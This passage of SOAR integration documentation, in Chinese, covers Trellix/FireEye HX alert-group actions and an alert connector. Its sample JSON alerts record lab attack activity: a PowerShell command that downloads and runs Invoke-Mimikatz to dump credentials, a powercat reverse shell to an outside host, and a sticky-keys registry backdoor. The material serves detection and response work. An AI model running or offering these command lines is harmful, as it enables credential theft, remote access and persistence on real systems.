                    "url": "/hx/api/v3/alerts/718",
                    "event_id": 39882,
                    "event_type": "processEvent",
                    "event_values": {
                        "processEvent/timestamp": "2020-08-17T12:03:38.496Z",
                        "processEvent/eventType": "start",
                        "processEvent/pid": 9896,
                        "processEvent/processPath": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
                        "processEvent/process": "powershell.exe",
                        "processEvent/parentPid": 5560,
                        "processEvent/parentProcessPath": "C:\\Windows\\System32\\cmd.exe",
                        "processEvent/parentProcess": "cmd.exe",
                        "processEvent/username": "FIREEYE-LAB\\Administrator",
                        "processEvent/startTime": "2020-08-17T12:03:38.496Z",
                        "processEvent/md5": "cda48fc75952ad12d99e526d0b6bf70a",
                        "processEvent/processCmdLine": "powershell.exe  \"iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds\" "
                    },
                    "is_false_positive": false
                },
                "generic_alert_badge": null,
                "generic_alert_label": null,
                "stats": {
                    "events": 3
                },
                "url": "/hx/api/v3/alert_groups/4532f4d8d50ab50a7830e2823ac488fd",
                "created_at": "2020-12-10T09:26:56.056Z",
                "acknowledgement": {
                    "acknowledged": true,
                    "acknowledged_by": "test2",
                    "acknowledged_time": "2020-12-22T19:00:25.688Z",
                    "comment": "test comment",
                    "comment_update_time": "2020-12-22T19:00:25.688Z"
                },
                "grouped_by": {
                    "condition_id": "yQjMv_j5PKfjL8Qu5uSm4A==",
                    "detected_by": "ioc_engine",
                    "host": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "primary_ip_address": "172.30.202.152"
                    }
                }
            },
            {
                "_id": "e9f4d7baaa362d9d5d0b6e053ba0d44d",
                "assessment": "[Registry key event] EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                "file_full_path": "",
                "first_event_at": "2020-12-10T08:04:09.521Z",
                "last_event_at": "2020-12-10T09:26:14.114Z",
                "dispositions": [],
                "source": "IOC",
                "has_fp_disposition": false,
                "last_alert": {
                    "_id": 723,
                    "agent": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "containment_state": "normal"
                    },
                    "condition": {
                        "_id": "2npvcLf_arxPaH717hQZ9g==",
                        "url": "/hx/api/v3/conditions/2npvcLf_arxPaH717hQZ9g=="
                    },
                    "event_at": "2020-12-10T09:26:14.114+00:00",
                    "matched_at": "2020-12-10T09:26:56+00:00",
                    "reported_at": "2020-12-10T09:27:08.735+00:00",
                    "source": "IOC",
                    "resolution": "ALERT",
                    "decorators": [],
                    "md5values": [],
                    "decorator_sources": [],
                    "decorator_statuses": [],
                    "url": "/hx/api/v3/alerts/723",
                    "event_id": 880771,
                    "event_type": "regKeyEvent",
                    "event_values": {
                        "regKeyEvent/timestamp": "2020-12-10T09:26:14.114Z",
                        "regKeyEvent/hive": "HKEY_LOCAL_MACHINE\\SOFTWARE",
                        "regKeyEvent/keyPath": "Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
                        "regKeyEvent/path": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\\Debugger",
                        "regKeyEvent/eventType": 1,
                        "regKeyEvent/pid": 8740,
                        "regKeyEvent/process": "reg.exe",
                        "regKeyEvent/processPath": "C:\\Windows\\System32",
                        "regKeyEvent/valueName": "Debugger",
                        "regKeyEvent/valueType": "REG_SZ",
                        "regKeyEvent/value": "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbQBkAC4AZQB4AGUAAAA=",
                        "regKeyEvent/text": "C:\\Windows\\System32\\cmd.exe",
                        "regKeyEvent/username": "FIREEYE-LAB\\Administrator"
                    },
                    "is_false_positive": false
                },
                "generic_alert_badge": null,
                "generic_alert_label": null,
                "stats": {
                    "events": 2
                },
                "url": "/hx/api/v3/alert_groups/e9f4d7baaa362d9d5d0b6e053ba0d44d",
                "created_at": "2020-12-10T08:04:54.740Z",
                "acknowledgement": {
                    "acknowledged": true,
                    "acknowledged_by": "test2",
                    "acknowledged_time": "2020-12-22T19:00:25.688Z",
                    "comment": "test comment",
                    "comment_update_time": "2020-12-22T19:00:25.688Z"
                },
                "grouped_by": {
                    "condition_id": "2npvcLf_arxPaH717hQZ9g==",
                    "detected_by": "ioc_engine",
                    "host": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "primary_ip_address": "172.30.202.152"
                    }
                }
            }
        ]
    },
    "message": "OK",
    "details": [],
    "route": "/hx/api/v3/alert_groups"
}
案件總覽
結果類型 值/說明 類型
輸出訊息*

這項動作不應失敗，也不應停止執行應對手冊：
如果成功：如果 (總數) 等於 (警告群組 ID 數量) -

「已成功更新所有警告群組的確認狀態」

如果部分成功，部分失敗 (提供的 ID 數量大於總數)：「已成功擷取下列快訊群組 ID 的快訊：{succesfull_alert_groups_ids}」
「無法擷取下列快訊群組 ID 的快訊：{not_succesfull_slert_group_ids}」

如果未擷取任何快訊群組詳細資料：

「無法擷取任何所提供快訊群組 ID 的快訊。請檢查提供的 ID，然後再試一次」

動作應會失敗，並停止執行自動化程序：
如果失敗：「無法執行『取得警告群組中的警告』動作」(exception.stacktrace)

 一般

取得主機快訊群組

說明

列出 Trellix Endpoint Security 中與主機相關的警示群組。支援的實體：主機名稱、IP 位址。

參數

參數顯示名稱 類型 預設值 為必填項目 說明
確認篩選器 DDL

全部

僅限已確認

僅限未確認

 否 指定要傳回所有快訊群組，還是只傳回已確認/未確認的快訊群組。
要傳回的警告群組數量上限 整數 20 否 指定每個實體要傳回的警告群組數量。預設值：20。

執行日期

這項動作會對下列實體執行：

  • IP 位址
  • 主機名稱

動作執行結果

指令碼執行結果
指令碼執行結果名稱 價值選項 範例
is_success True/False is_success:False
JSON 結果
{
    "_id": "6d9a68f2a78f8d983bd3c0f4556785e6",
    "assessment": "[Heur.BZC.ONG.Cheetah.3.1C89233F]",
    "file_full_path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
    "first_event_at": "2021-07-01T09:44:18.809Z",
    "last_event_at": "2021-07-01T09:44:18.809Z",
    "dispositions": [],
    "source": "MAL",
    "has_fp_disposition": false,
    "last_alert": {
        "_id": 812,
        "agent": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "containment_state": "normal"
        },
        "event_at": "2021-07-01T09:44:18.809+00:00",
        "matched_at": "2021-07-01T09:44:18.809+00:00",
        "reported_at": "2021-07-01T09:44:20.353+00:00",
        "source": "MAL",
        "resolution": "QUARANTINED",
        "decorators": [],
        "md5values": [
            "36be03ea88f7d1effcafeeb65e0e1e57"
        ],
        "decorator_sources": [],
        "decorator_statuses": [],
        "url": "/hx/api/v3/alerts/812",
        "condition": null,
        "event_id": null,
        "event_type": null,
        "event_values": {
            "system-data": {
                "xmlns": "http://www.fireeye.com/antimalware-alert",
                "xmlns:xsi": "http://www.w3.org/2001/XMLSchema-instance",
                "xsi:schemaLocation": "http://www.fireeye.com/antimalware-alert AM-alert.xsd",
                "alert-version": "3",
                "correlation-id": "d01e8ea6-4d34-4005-8482-3ccc026e11ea",
                "timestamp": "2021-07-01T09:44:18.809Z",
                "product-version": "32.36.0",
                "engine-version": "11.0.1.19",
                "content-version": "7.86346",
                "mg-engine-version": "32.30.0.8460",
                "mg-content-version": "25",
                "whitelist-schema-version": "1.0.0",
                "whitelist-content-version": "1.32.1"
            },
            "os-details": {
                "$": {
                    "name": "windows",
                    "version": "10.0.14393",
                    "patch": "0",
                    "os-arch": "64-bit",
                    "os-language": "en-US"
                }
            },
            "scan-type": "oas",
            "scanned-object": {
                "scanned-object-type": "file-event",
                "file-event": {
                    "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
                    "actor-process": {
                        "pid": "1268",
                        "path": "C:\\Windows\\System32\\xcopy.exe",
                        "user": {
                            "username": "",
                            "domain": ""
                        }
                    },
                    "sub-type": "FILE_OPERATION_CLOSED"
                }
            },
            "detections": {
                "detection": [
                    {
                        "engine": {
                            "engine-type": "av",
                            "engine-version": "11.0.1.19",
                            "content-version": "7.86346"
                        },
                        "infected-object": {
                            "object-type": "file",
                            "file-object": {
                                "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
                                "inner-file-path": "",
                                "original-file-name": "",
                                "container": "false",
                                "packed": "false",
                                "hidden": "false",
                                "system-file": "false",
                                "read-only": "false",
                                "temporary": "false",
                                "md5sum": "36be03ea88f7d1effcafeeb65e0e1e57",
                                "sha1sum": "ce1cdd84732367cbf2be60df57c52760bf2e8fe9",
                                "sha256sum": "3862ddf0a77ef8e7e17c641939a6dc349885c1a08cd64748ec50358adafe0631",
                                "size-in-bytes": "753",
                                "creation-time": "2021-07-01T09:41:47.610Z",
                                "modification-time": "2020-05-29T09:34:17.066Z",
                                "access-time": "2021-07-01T09:41:47.610Z"
                            }
                        },
                        "infection": {
                            "confidence-level": "high",
                            "infection-type": "malware",
                            "infection-name": "Heur.BZC.ONG.Cheetah.3.1C89233F"
                        },
                        "action": {
                            "actioned-object": {
                                "object-type": "file",
                                "file-object": {
                                    "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
                                    "inner-file-path": "",
                                    "original-file-name": "",
                                    "container": "false",
                                    "packed": "false",
                                    "hidden": "false",
                                    "system-file": "false",
                                    "read-only": "false",
                                    "temporary": "false",
                                    "md5sum": "36be03ea88f7d1effcafeeb65e0e1e57",
                                    "sha1sum": "ce1cdd84732367cbf2be60df57c52760bf2e8fe9",
                                    "sha256sum": "3862ddf0a77ef8e7e17c641939a6dc349885c1a08cd64748ec50358adafe0631",
                                    "size-in-bytes": "753",
                                    "creation-time": "2021-07-01T09:41:47.610Z",
                                    "modification-time": "2020-05-29T09:34:17.066Z",
                                    "access-time": "2021-07-01T09:41:47.610Z"
                                }
                            },
                            "requested-action": "clean",
                            "applied-action": "quarantine",
                            "result": "success",
                            "error": "0",
                            "reboot-required": "false"
                        }
                    }
                ]
            },
            "scan-statistics": {
                "total-scan-time-in-ms": "12227"
            }
        },
        "is_false_positive": false
    },
    "generic_alert_badge": null,
    "generic_alert_label": null,
    "stats": {
        "events": 1
    },
    "url": "/hx/api/v3/alert_groups/6d9a68f2a78f8d983bd3c0f4556785e6",
    "created_at": "2021-07-01T09:44:23.726Z",
    "acknowledgement": {
        "acknowledged": false,
        "acknowledged_by": null,
        "acknowledged_time": null,
        "comment": null,
        "comment_update_time": null
    },
    "grouped_by": {
        "md5sum": "36be03ea88f7d1effcafeeb65e0e1e57",
        "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
        "infection-name": "Heur.BZC.ONG.Cheetah.3.1C89233F",
        "detected_by": "malware_file_access_scan",
        "host": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "primary_ip_address": "172.30.202.71"
        }
    }
},
{
    "_id": "0043aa34dea99c23996c2f16291cdb4e",
    "assessment": "[Process powershell.exe started] POWERCAT (UTILITY)",
    "file_full_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
    "first_event_at": "2021-07-01T09:41:50.428Z",
    "last_event_at": "2021-07-01T09:41:50.428Z",
    "dispositions": [],
    "source": "IOC",
    "has_fp_disposition": false,
    "last_alert": {
        "_id": 811,
        "agent": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "containment_state": "normal"
        },
        "condition": {
            "_id": "KBvTAC_L_GiI9BZbph2GoA==",
            "url": "/hx/api/v3/conditions/KBvTAC_L_GiI9BZbph2GoA=="
        },
        "event_at": "2021-07-01T09:41:50.428+00:00",
        "matched_at": "2021-07-01T09:43:29+00:00",
        "reported_at": "2021-07-01T09:44:09.339+00:00",
        "source": "IOC",
        "resolution": "ALERT",
        "decorators": [],
        "md5values": [
            "097ce5761c89434367598b34fe32893b"
        ],
        "decorator_sources": [],
        "decorator_statuses": [],
        "url": "/hx/api/v3/alerts/811",
        "event_id": 11311494,
        "event_type": "processEvent",
        "event_values": {
            "processEvent/timestamp": "2021-07-01T09:41:50.428Z",
            "processEvent/eventType": "start",
            "processEvent/pid": 3676,
            "processEvent/processPath": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
            "processEvent/process": "powershell.exe",
            "processEvent/parentPid": 2496,
            "processEvent/parentProcessPath": "C:\\Windows\\System32\\cmd.exe",
            "processEvent/parentProcess": "cmd.exe",
            "processEvent/username": "FIREEYE-LAB\\Administrator",
            "processEvent/startTime": "2021-07-01T09:41:50.428Z",
            "processEvent/md5": "097ce5761c89434367598b34fe32893b",
            "processEvent/processCmdLine": "powershell  -Exec Bypass \". \\\"C:\\TMP\\nc.ps1\\\";powercat -c www.googleaccountsservices.com -p 80 -t 2 -e cmd\""
        },
        "multiple_match": "Multiple Indicators Matched.",
        "is_false_positive": false
    },
    "generic_alert_badge": null,
    "generic_alert_label": null,
    "stats": {
        "events": 1
    },
    "url": "/hx/api/v3/alert_groups/0043aa34dea99c23996c2f16291cdb4e",
    "created_at": "2021-07-01T09:44:13.744Z",
    "acknowledgement": {
        "acknowledged": false,
        "acknowledged_by": null,
        "acknowledged_time": null,
        "comment": null,
        "comment_update_time": null
    },
    "grouped_by": {
        "condition_id": "KBvTAC_L_GiI9BZbph2GoA==",
        "detected_by": "ioc_engine",
        "host": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "primary_ip_address": "172.30.202.71"
        }
    }
案件總覽
結果類型 值/說明 類型
輸出訊息\*

動作不應失敗，也不應停止執行自動化程序：
如果其中一個實體有資料(is_success = true)：「已成功擷取 Trellix Endpoint Security 中下列實體的快訊群組：{entity.identifier}」。

if data is not available for one(is_success = true):「動作無法擷取 Trellix Endpoint Security 中下列實體的快訊群組：{entity.identifier}」。

如果所有資料都無法使用(is_success=false)：「在 Trellix Endpoint Security 中，找不到所提供實體的快訊群組」。

動作應失敗並停止執行應對手冊：
如果發生嚴重錯誤，例如憑證錯誤、無法連線至伺服器等：「執行『取得主機快訊群組』動作時發生錯誤。原因：{0}''.format(error.Stacktrace)

 一般
案件總覽表格

資料欄：

  • 評估
  • 快訊群組 ID
  • 首次事件時間
  • 上次事件時間
  • 已確認
  • 事件計數
  • 偵測來源
 實體

連接器

FireEye HX Alerts 連接器

說明

Google SecOps SOAR Trellix Endpoint Security Alerts 連接器會擷取 Trellix Endpoint Security 伺服器產生的安全性警示。

連接器會定期連線至 Trellix Endpoint Security API 伺服器端點，並提取特定時間範圍內產生的警示清單。如有新警示，連接器會根據 Trellix Endpoint Security 警示建立 Google SecOps SOAR 警示，並將連接器時間戳記儲存為上次成功擷取警示的時間。下次執行連接器時，連接器只會查詢 Trellix Endpoint Security API，取得從時間戳記 (時間戳記加上一些「技術」偏移量，以免連接器「卡住」) 建立的警示。如果沒有新的快訊，則完成目前的執行作業。

API 權限

Trellix Endpoint Security Alerts 連接器使用的 API 驗證方法和權限，與現有 FireEye 整合功能相同。如要使用 FireEye 警示，用於整合的帳戶應具備「API 分析師」或「API 管理員」角色。

在 Google SecOps 中設定 FireEye HX 警示連接器

如要瞭解如何在 Google SecOps 中設定連接器，請參閱「設定連接器」一文。

連接器參數

使用下列參數設定連接器：

參數顯示名稱 類型 預設值 為必填 說明
產品欄位名稱 字串 ProductName 是 平台定義的說明，欄位無法變更。
事件欄位名稱 字串 AlertName 是 平台定義的說明，欄位無法變更。
環境欄位名稱 字串 "" 否

說明儲存環境名稱的欄位名稱。

如果找不到環境欄位，環境會是「」。
環境規則運算式模式 字串 .* 否

要對「環境欄位名稱」欄位中的值執行的規則運算式模式。

預設值為 .*，可擷取所有值並傳回未變更的值。

用於允許使用者透過規則運算式邏輯操控環境欄位

如果規則運算式模式為空值或空白，或環境值為空值，則最終環境結果為「」。
指令碼逾時 (秒) 整數 180 是 執行目前指令碼的 Python 程序逾時限制。
API 根層級 字串 https://x.x.x.x:<port> 是 Trellix Endpoint Security Server API 根網址
使用者名稱 字串 不適用 是 用於驗證的 Trellix Endpoint Security 使用者
密碼 密碼 不適用 是 用於驗證的 Trellix Endpoint Security 使用者密碼
驗證 SSL 核取方塊 已勾選 是 如果指定，連接器會檢查 Trellix Endpoint Security 是否已設定有效的 SSL 憑證。如果憑證無效，連接器會傳回錯誤。
偏移時間 (以小時為單位) 整數 24 是 擷取 X 小時前的快訊。
每個週期最多可傳送的快訊數量 整數 25 是 連接器執行一次時應處理的警告數量。
快訊類型 字串 active_threat 否 指定要擷取的 Trellix Endpoint Security 安全性警示類型。預設值為 active_threat，會傳回處於 ALERT 和 QUARANTINED/partial_block 狀態的快訊。另一個有效參數是 ALERT，只會傳回未解決的警告。
將許可清單當做黑名單使用 核取方塊 (checkbox) 已取消勾選 是 如果啟用，許可清單會當做黑名單使用。
Proxy 伺服器位址 IP_OR_HOST 不適用 否 連線使用的 Proxy 伺服器。
Proxy 伺服器使用者名稱 字串 不適用 否 Proxy 伺服器使用者名稱。
Proxy 伺服器密碼 密碼 不適用 否 Proxy 伺服器密碼。

連接器規則

  • 黑名單：應支援黑名單規則，但連接器預設使用白名單邏輯。
  • 許可清單規則：預設使用。
  • Proxy 支援：連接器支援 Proxy。
  • 預設 ConnectorRules
RuleType(Whitelist \ Blacklist) RuleName (字串)
WhiteList 請在這個部分，根據快訊來源和子類型屬性，指定要擷取的快訊，例如：「IOC」代表指標快訊、「MAL AV」代表僅擷取子類型為「AV」的惡意軟體快訊，或「MAL」代表擷取所有惡意軟體快訊，無論子類型為何。如要擷取所有快訊，請移除許可清單部分的所有內容。

還有其他問題嗎？向社群成員和 Google SecOps 專家尋求解答。